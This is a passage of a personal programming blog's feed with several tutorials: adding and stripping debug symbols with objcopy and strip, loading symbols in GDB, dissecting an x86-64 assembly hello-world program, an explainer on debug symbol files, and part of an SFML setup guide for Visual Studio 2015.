&lt;p&gt;In the software development world, sometimes you need to peer behind the curtain. When a program misbehaves, understanding its inner workings becomes crucial. This is where debug symbols come in –  they act as a map, revealing function names, variable locations, and other valuable information that debuggers like GDB can use to navigate the program’s code.&lt;&#x2F;p&gt;
&lt;p&gt;However, by default, binaries often ship without these symbols. This keeps the file size down and protects sensitive information. But for development and debugging purposes, adding debug symbols back can be a lifesaver. Here’s where &lt;code&gt;objcopy&lt;&#x2F;code&gt;, a versatile tool from the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;binutils&#x2F;&quot;&gt;GNU Binutils&lt;&#x2F;a&gt; package, enters the scene.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-adding-to-the-binary-itself&quot;&gt;1. Adding to the binary itself&lt;&#x2F;h2&gt;
&lt;p&gt;Imagine you have a stripped binary named myprogram. To add debug symbols from a separate debug symbol file (debug_symbols.dbg), you’d use the following command:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;objcopy --add-gnu-debuglink=debug_symbols.dbg myprogram myprogram_with_symbols
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This command does three things:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;--add-gnu-debuglink&lt;&#x2F;code&gt; : This flag tells objcopy to add debug information.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;debug_symbols.dbg&lt;&#x2F;code&gt; : This specifies the file containing the debug symbols.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;myprogram&lt;&#x2F;code&gt; &lt;code&gt;myprogram_with_symbols&lt;&#x2F;code&gt; : These indicates the stripped binary to be modified and the resulting file name with debug symbols respectively.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;code&gt;objcopy&lt;&#x2F;code&gt; offers more control over the debug symbol addition process. You can explore the man page for objcopy to discover options like -&lt;code&gt;-only-keep-debug&lt;&#x2F;code&gt; for creating a new binary containing only the symbols, and &lt;code&gt;--extract-symbol&lt;&#x2F;code&gt; for extracting specific symbols from an existing binary.&lt;&#x2F;p&gt;
&lt;p&gt;By mastering objcopy for adding debug symbols, you can unlock the secrets hidden within binaries, enabling a more efficient and insightful debugging experience.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-using-gdb&quot;&gt;2. Using GDB&lt;&#x2F;h2&gt;
&lt;p&gt;Debuggers like &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.sourceware.org&#x2F;gdb&#x2F;&quot;&gt;GDB&lt;&#x2F;a&gt; are powerful tools for investigating program misbehavior. However, their effectiveness heavily relies on the presence of debug symbols in the binary. These symbols provide crucial information about functions, variables, and source code, allowing GDB to pinpoint issues with greater accuracy.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;symbol-file .&amp;#x2F;debug_symbols.dbg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Ripping and Stripping Debug Symbols with Binutil tools</title>
        <published>2024-07-08T00:00:00+00:00</published>
        <updated>2024-07-08T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/ripping-and-stripping-debug-symbols/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/ripping-and-stripping-debug-symbols/</id>
        <content type="html">&lt;p&gt;In the world of software development, compiled binaries often come packed debug symbols. These symbols provide valuable information for debugging purposes, like function names and variable locations and in some scenarios even the source code. But for final deployments, they’re unnecessary and can significantly increase file size and security risks. &lt;&#x2F;p&gt;
&lt;p&gt;This is where binutil tools comes in, the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;binutils&#x2F;&quot;&gt;GNU Binutils&lt;&#x2F;a&gt; are a collection of programming tools maintained by the GNU Project for working with executable code including assembly, linking and many other development operations. This collection contains tools like:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;ld&lt;&#x2F;li&gt;
&lt;li&gt;objdump&lt;&#x2F;li&gt;
&lt;li&gt;strip&lt;&#x2F;li&gt;
&lt;li&gt;objcopy&lt;&#x2F;li&gt;
&lt;li&gt;as&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;In this post, we’ll explore how to use &lt;code&gt;objcopy&lt;&#x2F;code&gt; and &lt;code&gt;strip&lt;&#x2F;code&gt; tools to achieve our two key goals:&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-is-objcopy-and-strip&quot;&gt;What is objcopy and strip?&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;objdump&lt;&#x2F;code&gt; is a tool in the GNU Binutils package for manipulating object files. It can be used to copy object files, removing unnecessary sections like debug symbols to create leaner binaries. It can also extract specific sections, like debug information only, into separate files for potential debugging needs.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;strip&lt;&#x2F;code&gt; is another tool in the Binutils package, it is like a file slimmer for executables. It removes debug symbols, information helpful for programmers but not needed for the program to run. &lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;difference-between-ripping-and-stripping&quot;&gt;Difference between Ripping and Stripping&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Ripping Debug Symbols: 
&lt;ul&gt;
&lt;li&gt;Extracting the debug information into a separate file for potential future debugging needs.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;Stripping Debug Symbols: 
&lt;ul&gt;
&lt;li&gt;Removing unnecessary symbols to create a leaner, more efficient binary.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;1-ripping-off-debug-symbols-off-a-binary-objcopy&quot;&gt;1. Ripping off debug symbols off a binary (objcopy)&lt;&#x2F;h2&gt;
&lt;p&gt;If you want to keep the debug information for potential future use, you can extract it into a separate file using the &lt;code&gt;--only-keep-debug&lt;&#x2F;code&gt; flag&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;objcopy --only-keep-debug myprogram debug_symbols.dbg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This creates a file named debug_symbols.dbg that contains only the stripped debug symbols. After ripping the symbol file from the binary the symbol file is still in the binary we only extracted a copy of the symbol file.&lt;&#x2F;p&gt;
&lt;h5 id=&quot;demo&quot;&gt;Demo:&lt;&#x2F;h5&gt;
&lt;script src=&quot;https:&#x2F;&#x2F;asciinema.org&#x2F;a&#x2F;7qLtY6WkrBASmkX15apTVK1l2.js&quot; id=&quot;asciicast-7qLtY6WkrBASmkX15apTVK1l2&quot; async=&quot;true&quot;&gt;&lt;&#x2F;script&gt;
&lt;h2 id=&quot;2-stripping-off-debug-symbols-off-a-binary-strip&quot;&gt;2. Stripping off debug symbols off a binary (strip)&lt;&#x2F;h2&gt;
&lt;p&gt;Stripping will remove the symbols from the binary without taking a copy of it&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;strip --strip-debug myprogram -o myprogram_without_symbols
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;demo-1&quot;&gt;Demo:&lt;&#x2F;h5&gt;
&lt;script src=&quot;https:&#x2F;&#x2F;asciinema.org&#x2F;a&#x2F;Klk4JIW78y7BLHLr86IIY2Ckz.js&quot; id=&quot;asciicast-Klk4JIW78y7BLHLr86IIY2Ckz&quot; async=&quot;true&quot;&gt;&lt;&#x2F;script&gt;
&lt;p&gt;In the above demo we can see that even though we stripped debug symbols, some information like function names are still in the non-debugging symbols section. &lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;62InpK7.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In order to get rid of that info too, we can strip off everything including default sysmbols except the necessary things to load a binary using the &lt;code&gt;--strip-unneeded&lt;&#x2F;code&gt; flag.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;strip --strip-debug --strip-unneeded myprogram -o myprogram_without_any_symbols
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;demo-2&quot;&gt;Demo:&lt;&#x2F;h5&gt;
&lt;script src=&quot;https:&#x2F;&#x2F;asciinema.org&#x2F;a&#x2F;W6CPY7UsHYy76gOeVlHiBQvRA.js&quot; id=&quot;asciicast-W6CPY7UsHYy76gOeVlHiBQvRA&quot; async=&quot;true&quot;&gt;&lt;&#x2F;script&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;kMqzSkT.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;benefits-of-stripping&quot;&gt;Benefits of Stripping:&lt;&#x2F;h3&gt;
&lt;p&gt;There are several advantages to stripping debug symbols:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Reduced File Size: Smaller binaries mean faster downloads, less storage consumption, and potentially better performance.&lt;&#x2F;li&gt;
&lt;li&gt;Improved Security: Stripped binaries offer a slight layer of protection against reverse engineering efforts that rely on symbol information.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Disecting a Simple x86-64 bit Assembly Hello World Program</title>
        <published>2024-07-06T00:00:00+00:00</published>
        <updated>2024-07-06T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/breaking-down-asm-helloworld/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/breaking-down-asm-helloworld/</id>
        <content type="html">&lt;p&gt;Today’s post takes a fun detour into the world of x86-64 assembly language! We’ll dissect a short program that accomplishes a familiar task: printing “Hello, World!” on the screen. While assembly might seem intimidating, understanding its basic structure can be surprisingly rewarding.&lt;&#x2F;p&gt;
&lt;h5 id=&quot;x86-64-bit-assembly-code-for-printing-hello-world&quot;&gt;x86-64 bit assembly code for printing “Hello, World!”:&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;nasm&quot; class=&quot;language-nasm &quot;&gt;&lt;code class=&quot;language-nasm&quot; data-lang=&quot;nasm&quot;&gt;&amp;#x27; filename :- helloworld.asm

section .data
        message db &amp;quot;Hello, World!&amp;quot;,10

section .text
        global _start

_start:
        mov rax, 1
        mov rdi, 1
        mov rsi, message
        mov rdx, 14
        syscall

        mov rax, 60
        mov rdi, 0
        syscall
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;assembling-instructions&quot;&gt;Assembling Instructions&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nasm -felf64 helloworld.asm
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ld helloworld.o -o helloworld 
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;.&amp;#x2F;helloworld
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;let-s-break-down-the-code-step-by-step&quot;&gt;Let’s break down the code step-by-step:&lt;&#x2F;h1&gt;
&lt;h4 id=&quot;1-data-section-section-data&quot;&gt;1. Data Section (section .data):&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;This section stores data used by the program. Here, we have a line that defines a byte array &lt;code&gt;db&lt;&#x2F;code&gt; named &lt;code&gt;message&lt;&#x2F;code&gt; containing the string &lt;code&gt;&amp;quot;Hello, World!&amp;quot;&lt;&#x2F;code&gt;. The &lt;code&gt;10&lt;&#x2F;code&gt; at the end specifies a &lt;code&gt;newline (\n)&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;2-text-section-section-text&quot;&gt;2. Text Section (section .text):&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;This section holds the program’s instructions. The line &lt;code&gt;global _start&lt;&#x2F;code&gt; declares the entry point of our program, which is the &lt;code&gt;_start&lt;&#x2F;code&gt; label.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;3-the-start-function&quot;&gt;3. The _start Function:&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;This is where the program execution begins. Each instruction line manipulates registers, which are the CPU’s internal storage units.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;mov rax, 1&lt;&#x2F;code&gt; : moves the value 1 into the rax register. This value serves as a system call number, indicating what operation the program wants the operating system to perform. In this case, 1 stands for sys_write.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;mov rdi, 1&lt;&#x2F;code&gt; : moves the value 1 into the rdi register. This register often holds the file descriptor for system calls like sys_write. Here, 1 typically refers to standard output (the console).&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;mov rsi, message&lt;&#x2F;code&gt; : moves the address of the message array (stored in memory) into the rsi register. This tells the system call where to find the data to be written.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;mov rdx, 14&lt;&#x2F;code&gt; : moves the value 14 into the rdx register. This register usually specifies the length of the data to be written. Here, 14 is the size of the message array (including the newline character).&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;syscall&lt;&#x2F;code&gt; : triggers a system call. The CPU intercepts execution and calls the operating system with the information provided in the registers (rax, rdi, rsi, and rdx). In this case, the system call writes “Hello, World!” to the console.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;mov rax, 60 moves the value 60 into the rax register. This system call number signifies sys_exit.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;mov rdi, 0 moves the value 0 into the rdi register. This argument often indicates the exit status of the program. Here, 0 signifies successful execution.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;syscall triggers another system call, this time telling the operating system the program is finished and should exit.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;putting-it-together&quot;&gt;Putting it Together:&lt;&#x2F;h1&gt;
&lt;p&gt;This program demonstrates how low-level assembly instructions interact with the operating system to perform a basic task. By understanding these fundamental steps, you gain a deeper appreciation for how computers execute programs!&lt;&#x2F;p&gt;
&lt;p&gt;Additional Notes:&lt;&#x2F;p&gt;
&lt;p&gt;This is a simplified explanation. x86-64 has a vast instruction set, and there are often multiple ways to achieve the same outcome.
Assembly language is generally less common than higher-level languages like C++, but it’s still used in specific situations where fine-grained control over hardware is necessary.&lt;&#x2F;p&gt;
&lt;p&gt;I hope this explanation empowers you to explore the fascinating world of assembly language further! Feel free to ask any questions in the comments below.&lt;&#x2F;p&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Debugging and Symbol Files</title>
        <published>2024-06-30T00:00:00+00:00</published>
        <updated>2024-06-30T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/debugging-and-symbol-files/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/debugging-and-symbol-files/</id>
        <content type="html">&lt;h2 id=&quot;understanding-the-basics&quot;&gt;Understanding the Basics&lt;&#x2F;h2&gt;
&lt;p&gt;As software developers, we’ve all been there - staring at a pesky error message or a mysterious crash, trying to figure out what’s gone wrong with our code. Debugging is an essential part of the software development process, and in this blog post, we’ll dive into the world of debugging and symbol files.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-is-debugging&quot;&gt;What is Debugging?&lt;&#x2F;h2&gt;
&lt;p&gt;Debugging, simply put, is the art and science of finding and eliminating bugs in software. Bugs can range from simple functional issues to security vulnerabilities, and as developers, it’s our responsibility to identify and fix them. But before we can start fixing bugs, we need to understand what debugging is all about.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-is-a-debugger&quot;&gt;What is a Debugger?&lt;&#x2F;h2&gt;
&lt;p&gt;A debugger is a program that analyzes and debugs other programs. There are many different types of debuggers available, each with its own strengths and weaknesses. 
Some popular debuggers include, &lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;GNU Debugger (GDB)&lt;&#x2F;li&gt;
&lt;li&gt;Intel Debugger (IDB)&lt;&#x2F;li&gt;
&lt;li&gt;SoftIce (kernel mode debugger) &lt;&#x2F;li&gt;
&lt;li&gt;WinDBG.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;what-are-debugger-symbols&quot;&gt;What are Debugger Symbols?&lt;&#x2F;h2&gt;
&lt;p&gt;Debugger symbols are information about variables, functions, and other aspects of a binary that can be read by a debugger. When a debugger has access to these symbols, it can understand the binary much better, making it easier to debug. Debugger symbols can be part of the binary itself or stored in a separate file.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;debugger-symbol-files&quot;&gt;Debugger Symbol Files&lt;&#x2F;h2&gt;
&lt;p&gt;Debug symbol files need to be explicitly mentioned at compile time. There are several types of debug symbol files, including &lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;DWARF-2 &lt;&#x2F;li&gt;
&lt;li&gt;COFF&lt;&#x2F;li&gt;
&lt;li&gt;XCOFF&lt;&#x2F;li&gt;
&lt;li&gt;Stabs &lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;GCC, a popular compiler, uses the -g option to generate debug symbols, while GCC -ggdb is used for GDB-specific symbols.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;gcc -ggdb main.c -o main
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Let’s take a look at an example:&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;File Without Debug Symbols&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;File With Debug Symbols&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;NAME&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;NAME (Adam)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;AGE&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;AGE (22)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;TOWN&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;TOWN (Alabama)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;For demonstration purposes I have built 2 different files, one with the debug symbols and another one without the debug symbols.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;File Without Debug Symbols&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;File With Debug Symbols&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;YLR0WPF.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;GYyyGi0.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;E7Xy9cv.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;KHfy5su.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;The above examples clearly demonstrate that the file with debug symbols contain more details than the file without the debug symbols.&lt;&#x2F;p&gt;
&lt;p&gt;As you can see, the file without debug symbols lacks information about the variables and functions, making it much harder to debug. On the other hand, the file with debug symbols provides valuable information about the variables and functions, making it easier for the debugger to understand the code.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-do-the-symbol-files-tell-us&quot;&gt;What do the Symbol Files Tell Us?&lt;&#x2F;h2&gt;
&lt;p&gt;Symbol files provide a wealth of information about the code, including:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Information about the sources&lt;&#x2F;li&gt;
&lt;li&gt;Information about the variables&lt;&#x2F;li&gt;
&lt;li&gt;Information about scopes&lt;&#x2F;li&gt;
&lt;li&gt;Information about functions&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;By understanding what debugger symbols are and how they work, developers can write better code, identify bugs more easily, and improve their overall debugging experience.&lt;&#x2F;p&gt;
&lt;p&gt;In conclusion, debugging is an essential part of software development, and having a good understanding of debugger symbols is crucial for any developer. By knowing how to work with symbol files and what information they provide, you’ll be well on your way to becoming a master debugger.&lt;&#x2F;p&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Setting up SFML 2.4.1 in Visual Studio 2015</title>
        <published>2024-05-09T00:00:00+00:00</published>
        <updated>2024-05-09T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/setting-up-sfml-in-vs-studio-2015/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/setting-up-sfml-in-vs-studio-2015/</id>
        <content type="html">&lt;h2 id=&quot;downloading-sfml-2-4-1&quot;&gt;Downloading SFML 2.4.1&lt;&#x2F;h2&gt;
&lt;p&gt;First Download the SFML-2.4.1 32-bit file for Visual Studio 2015
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.sfml-dev.org&#x2F;download&#x2F;sfml&#x2F;2.4.1&#x2F;&quot;&gt;Download Link&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;NWMoT5n.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;After downloading extract the zip file. Inside it you will be able to find a folder named &lt;code&gt;SFML-2.4.1&lt;&#x2F;code&gt; move that folder to one of your prefered locations, in my case I will move it the my &lt;code&gt;C:\MinGW&lt;&#x2F;code&gt; directory.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;hPtlRZ9.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;setting-up-visual-studio-2015&quot;&gt;Setting up visual studio 2015&lt;&#x2F;h2&gt;
&lt;p&gt;Create a new visual c++ win32 console application.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;WnY1FNu.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In the prompt click next.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;XAPkKFe.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Tick empty project and click finish to create an empty project.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;0fZ4bY9.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Navigate to the solution explorer and right click on the project and select properties.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;wBRTUxt.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In the properties panel make sure you have selected &lt;code&gt;Active(Win32)&lt;&#x2F;code&gt; as your platform and &lt;code&gt;All Configurations&lt;&#x2F;code&gt; for you configuration.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;a8Gpd94.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Navigate to the &lt;code&gt;VC++ Directories &amp;gt; Include Libraries &amp;gt; Edit&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;cHy892Z.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In the Include Directories window click add new line and press &lt;code&gt;...&lt;&#x2F;code&gt; to select the directory.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;pRh3slH.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Navigate to the directory that you placed the SFML directory previously and select the &lt;code&gt;include&lt;&#x2F;code&gt; folder inside the &lt;code&gt;SFML-2.4.1&lt;&#x2F;code&gt; directory . In my case the directory was ``C:\MinGW\SFML-2.4.1\include`.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;xPjKLch.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;QZVAdgT.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Next, navigate to the &lt;code&gt;Library Directories&lt;&#x2F;code&gt; Section in VC++ Directories category and press edit.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;CTTKVRe.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In the Library Directories window click add new line and press &lt;code&gt;...&lt;&#x2F;code&gt; to select the directory.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;K6dVZwE.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Navigate to the directory that you placed the SFML directory previously and select the &lt;code&gt;lib&lt;&#x2F;code&gt; folder inside the &lt;code&gt;SFML-2.4.1&lt;&#x2F;code&gt; directory . In my case the directory was ``C:\MinGW\SFML-2.4.1\lib`.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;nUTVWmi.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;WDPEBOz.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Next navigate to the &lt;code&gt;Input&lt;&#x2F;code&gt; section under the &lt;code&gt;Linker&lt;&#x2F;code&gt; Category. and edit the &lt;code&gt;Additional Dependencies&lt;&#x2F;code&gt;.
&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;lNn1LTn.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In the ‘Additional Dependencies’ window add the following lines and press ‘Ok’.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sfml-graphics-d.lib
